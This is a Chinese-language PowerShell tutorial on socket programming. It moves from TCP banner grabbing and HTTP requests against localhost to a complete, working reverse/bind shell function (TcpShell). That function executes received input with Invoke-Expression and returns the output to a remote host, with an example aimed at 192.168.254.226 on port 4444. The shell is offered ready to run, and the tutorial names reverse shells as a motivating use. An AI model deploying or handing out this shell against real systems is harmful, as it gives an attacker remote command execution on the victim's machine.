Socket 网络编程
这一小节我们介绍Powershell中的Socket编程,网络编程是所有语言中绕不开的核心点,下面我们通过对代码的分析来让大家对PS中的Socket有一个初步的了解。
Scoket-Tcp编程
开始之前我们先想想为什么要学习socket编程,那么最直观的是端口扫描,那么还有可能是反弹shell之类的应用。进行Socket编程只需要调用.Net框架即可,这里先使用TCP来示例:
这里是去打开一个TCP连接到本地的21端口,并获取21端口返回的Banner信息,其中GetOutput函数看不了可以先不看,其用来获取stream中的数据,主要看Main函数内容:
Tcp-Demo.ps1 functionGetOutput { ## 创建一个缓冲区获取数据 $buffer =new-objectSystem.Byte[]1024 $encoding =new-objectSystem.Text.AsciiEncoding $outputBuffer ="" $findMore = $false ## 从stream读取所有的数据,写到输出缓冲区 do{ start-sleep -m 1000 $findmore = $false # 读取Timeout $stream.ReadTimeout=1000 do{ try{ $read = $stream.Read($buffer,0,1024) if($read -gt 0){ $findmore = $true $outputBuffer +=($encoding.GetString($buffer,0, $read)) } }catch{ $findMore = $false; $read =0} }while($read -gt 0) }while($findmore) $outputBuffer } functionMain{ # 定义主机和端口 $remoteHost ="127.0.0.1" $port =21 # 定义连接Host与Port $socket =new-objectSystem.Net.Sockets.TcpClient($remoteHost, $port) # 进行连接 $stream = $socket.GetStream() # 获取Stream $writer =new-objectSystem.IO.StreamWriter $stream # 创建IO对象 $SCRIPT:output +=GetOutput # 声明变量 if($output){ # 输出 foreach($line in $output.Split("`n")) { write-host $line } $SCRIPT:output ="" } } .Main
我们来看看输出结果:
PS C:\Users\rootclay\Desktop\powershell>..\Tcp-Demo.ps1 220Microsoft FTP Service
这样就打开了21端口的连接,并且获取到了21端口的banner信息.
那么有过端口扫描编写的朋友肯定已经看到了,这种方式是直接打开连接,并不能获取到一些需要发包才能返回banner的端口信息,典型的80端口就是如此,我们需要给80端口发送特定的信息才能得到Response, 当然还有许多类似的端口,比如3389端口, 下面我们来看看我们如何使用powershell实现这项功能.
Tcp-Demo2.ps1 functionGetOutput { ...# 代码和上面的一样 } functionMain{ # 定义主机和端口 $remoteHost ="127.0.0.1" $port =80 # 定义连接Host与Port $socket =new-objectSystem.Net.Sockets.TcpClient($remoteHost, $port) # 进行连接 $stream = $socket.GetStream() # 获取Stream $writer =new-objectSystem.IO.StreamWriter $stream # 创建IO对象 $SCRIPT:output +=GetOutput # 声明变量, userInput为要发包的内容,这里我们需要发送一个GET请求给Server $userInput ="GET / HTTP/1.1 `nHost: localhost `n`n" # 定义发包内容 foreach($line in $userInput) { # 发送数据 $writer.WriteLine($line) $writer.Flush() $SCRIPT:output +=GetOutput } if($output){ # 输出 foreach($line in $output.Split("`n")) { write-host $line } $SCRIPT:output ="" } } .Main
我们来看看输出:
PS C:\Users\rootclay\Desktop\powershell>..\Tcp-Demo2.ps1 HTTP/1.1200 OK Content-Type: text/html Accept-Ranges: bytes ETag:"5e26ec16b73ad31:0" Server:Microsoft-IIS/7.5 Content-Length:689 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/> <title>IIS7</title> <style type="text/css"> </style> </head> <body> ... </body> </html>
我们下面对这项功能进行一个整合:
我们可以发包给一个端口,也可以直接连接一个端口,这里已经实现TCP,http,https三种常见协议的访问
######################################## ## Tcp-Request.ps1 ## ## Example1: ## ## $http = @" ## GET / HTTP/1.1 ## Host:127.0.0.1 ## `n`n ## "@ ## ## `n 在Powershell中代表换行符 ## $http | .\Tcp-Request localhost 80 ## ## Example2: ## .\Tcp-Request localhost 80 ######################################## ## 管理参数输入param()数组 param( [string] $remoteHost ="localhost", [int] $port =80, [switch] $UseSSL, [string] $inputObject, [int] $commandDelay =100 ) [string] $output ="" ## 获取用户输入模式 $currentInput = $inputObject if(-not $currentInput) { $SCRIPT:currentInput =@($input) } # 脚本模式开关, 如果脚本能读取到输入, 使用发包模式, 如果没有输入使用TCP直连模式 $scriptedMode =[bool] $currentInput functionMain { ## 打开socket连接远程机器和端口 if(-not $scriptedMode) { write-host "Connecting to $remoteHost on port $port" } ## 异常追踪 trap {Write-Error"Could not connect to remote computer: $_";exit} $socket =new-objectSystem.Net.Sockets.TcpClient($remoteHost, $port) if(-not $scriptedMode) { write-host "Connected. Press ^D(Control + D) followed by [ENTER] to exit.`n" } $stream = $socket.GetStream() ## 如果有SSl使用SSLStream获取Stream if($UseSSL) { $sslStream =New-ObjectSystem.Net.Security.SslStream $stream,$false $sslStream.AuthenticateAsClient($remoteHost) $stream = $sslStream } $writer =new-objectSystem.IO.StreamWriter $stream while($true) { ## 获取得到的Response结果 $SCRIPT:output +=GetOutput ## 如果我们使用了管道输入的模式,我们发送我们的命令,再接受输出,并退出 if($scriptedMode) { foreach($line in $currentInput) { $writer.WriteLine($line) $writer.Flush() Start-Sleep-m $commandDelay $SCRIPT:output +=GetOutput } break } ## 如果没有使用事先管道输入的模式直接读取TCP回包 else { if($output) { # 逐行输出 foreach($line in $output.Split("`n")) { write-host $line } $SCRIPT:output ="" } ## 获取用户的输入,如果读取到^D就退出 $command = read-host if($command -eq ([char]4)){break;} $writer.WriteLine($command) $writer.Flush() } } ## Close the streams $writer.Close() $stream.Close() ## 如果我们使用了管道输入的模式,这里输出刚才读取到服务器返回的数据 if($scriptedMode) { $output } } ## 获取远程服务器的返回数据 functionGetOutput { ## 创建一个缓冲区获取数据 $buffer =new-objectSystem.Byte[]1024 $encoding =new-objectSystem.Text.AsciiEncoding $outputBuffer ="" $findMore = $false ## 从stream读取所有的数据,写到输出缓冲区 do { start-sleep -m 1000 $findmore = $false $stream.ReadTimeout=1000 do { try { $read = $stream.Read($buffer,0,1024) if($read -gt 0) { $findmore = $true $outputBuffer +=($encoding.GetString($buffer,0, $read)) } }catch{ $findMore = $false; $read =0} }while($read -gt 0) }while($findmore) $outputBuffer } .Main
那么至此我们已经完成了对TCP端口的打开并获取对应的信息,其中很多的关键代码释义我已经详细给出,我们主要以TCP为例,由于UDP应用场景相对于TCP较少,关于UDP的编写可自行编写。
这个脚本加以修改就是一个Powershell完成的扫描器了,端口扫描器我们放在下一节来分析,我们这里最后看一个反弹shell的ps脚本, 同样在注释中详细解释了代码块的作用。
functionTcpShell{ <# .DESCRIPTION 一个简单的Shell连接工具,支持正向与反向 .PARAMETER IPAddress Ip地址参数 .PARAMETER Port port参数 .EXAMPLE 反向连接模式 PS >TcpShell-Reverse-IPAddress192.168.254.226-Port4444 .EXAMPLE 正向连接模式 PS >TcpShell-Bind-Port4444 .EXAMPLE IPV6地址连接 PS >TcpShell-Reverse-IPAddress fe80::20c:29ff:fe9d:b983 -Port4444 #> # 参数绑定 [CmdletBinding(DefaultParameterSetName="reverse")]Param( [Parameter(Position=0,Mandatory= $true,ParameterSetName="reverse")] [Parameter(Position=0,Mandatory= $false,ParameterSetName="bind")] [String] $IPAddress, [Parameter(Position=1,Mandatory= $true,ParameterSetName="reverse")] [Parameter(Position=1,Mandatory= $true,ParameterSetName="bind")] [Int] $Port, [Parameter(ParameterSetName="reverse")] [Switch] $Reverse, [Parameter(ParameterSetName="bind")] [Switch] $Bind ) try { # 如果检测到Reverse参数,开启反向连接模式 if($Reverse) { $client =New-ObjectSystem.Net.Sockets.TCPClient($IPAddress,$Port) } # 使用正向的连接方式, 绑定本地端口, 用于正向连接 if($Bind) { # Tcp连接监听服务端 $server =[System.Net.Sockets.TcpListener]$Port # Tcp连接开始 $server.start() # Tcp开始接受连接 $client = $server.AcceptTcpClient() } $stream = $client.GetStream() [byte[]]$bytes =0..65535|%{0} # 返回给连接的用户一个简单的介绍,目前是使用什么的用户来运行powershell的, 并打印powershell的banner信息 $sendbytes =([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user "+ $env:username +" on "+ $env:computername +"`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") $stream.Write($sendbytes,0,$sendbytes.Length) # 展示一个交互式的powershell界面 $sendbytes =([text.encoding]::ASCII).GetBytes('PS '+(Get-Location).Path+'>') $stream.Write($sendbytes,0,$sendbytes.Length) # while循环用于死循环,不断开连接 while(($i = $stream.Read($bytes,0, $bytes.Length))-ne 0) { # 指定EncodedText为Ascii对象, 用于我们后面的调用来编码 $EncodedText =New-Object-TypeNameSystem.Text.ASCIIEncoding # 获取用户的输入 $data = $EncodedText.GetString($bytes,0, $i) try { # 调用Invoke-Expression来执行我们获取到的命令, 并打印获得的结果 # Invoke-Expression会把所有的传入命令当作ps代码执行 $sendback =(Invoke-Expression-Command $data 2>&1|Out-String) } catch { # 错误追踪 Write-Warning"Execution of command error." Write-Error $_ } $sendback2 = $sendback +'PS '+(Get-Location).Path+'> ' # 错误打印 $x =($error[0]|Out-String) $error.clear() $sendback2 = $sendback2 + $x # 返回结果 $sendbyte =([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte,0,$sendbyte.Length) $stream.Flush() } # 关闭连接 $client.Close() if($server) { $server.Stop() } } catch { # 获取错误信息,并打印 Write-Warning"Something went wrong!." Write-Error $_ } }
简单的分析在注释已经提到, 其中Invoke-Expression -Command
后接的代码都会被看作powershell来执行, 我们来看看正向连接的执行效果, 我们在172.16.50.196机器上执行下面的代码
PS C:\Users\rootclay> cd .\Desktop\powershell PS C:\Users\rootclay\Desktop\powershell>..\Tcp-Shell.ps1 PS C:\Users\rootclay\Desktop\powershell>TcpShell-bind -port 4444
连接这台机器, 结果如下:
反向类似执行即可
大家可以看到这个脚本的最开始有一大块注释,这些注释无疑是增强脚本可读性的关键,对于一个脚本的功能和用法都有清晰的讲解,那么我们来看看如何写这些注释呢。
<# .DESCRIPTION 描述区域,主要写你脚本的一些描述、简介等 .PARAMETER IPAddress 参数介绍区域,你可以描述你的脚本参数的详情 .EXAMPLE 用例描述区域, 对于你的脚本的用例用法之类都可以在这里描述 反向连接模式 PS > TcpShell -Reverse -IPAddress 192.168.254.226 -Port 4444 #>
最后我们使用Get-Help命令就能看到我们编辑的这些注释内容: